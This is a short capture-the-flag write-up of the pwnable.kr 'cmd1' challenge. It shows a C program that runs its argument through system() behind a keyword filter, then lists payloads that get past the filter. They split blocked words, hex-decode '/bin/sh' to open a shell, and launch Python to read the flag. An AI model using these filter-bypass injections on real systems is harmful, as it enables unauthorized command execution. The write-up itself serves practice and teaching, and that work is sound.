Pwnable.kr - cmd1

1 minute read

Challenge description:

Mommy! what is PATH environment in Linux?

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
	int r=0;
	r += strstr(cmd, "flag")!=0;
	r += strstr(cmd, "sh")!=0;
	r += strstr(cmd, "tmp")!=0;
	return r;
}
int main(int argc, char* argv[], char** envp){
	putenv("PATH=/thankyouverymuch");
	if(filter(argv[1])) return 0;
	system( argv[1] );
	return 0;
}

The next two challenges (cmd1 and cmd2) are about bypassing input filters to execute a command.

First it changes the $PATH environment variable (which contains the paths to executables) to an unknown location, this way we cannot just use for example echo test, it should be /bin/echo test.

There is more than one solution to this challenge, I will list some of them.

Notice the difference between single quotes and double quotes in argv:

$ ./test ‘$(echo abc)’
argv[1] = $(echo abc)

$ ./test “$(echo abc)”
argv[1] = abc

Single quotes pass the command without executing it.
Double quotes executes the command then passes its output (cannot pass the filter).

Solution:

cmd1@pwnable:~$ ./cmd1 '$(printf "/bin/cat %s%s" "fl" "ag")'
cmd1@pwnable:~$ ./cmd1 '$(/bin/echo 2f62696e2f7368 | /usr/bin/xxd -r -p)'  # 2f62696e2f7368 = /bin/sh
$ /bin/cat flag
cmd1@pwnable:~$ ./cmd1 '$(/usr/bin/python)'
>>> f = open("/tmp/myflag", "w")
>>> f.write(open("flag").read())
>>>
cmd1@pwnable:~$ cat /tmp/myflag

Flag: mommy now I get what PATH environment is for :)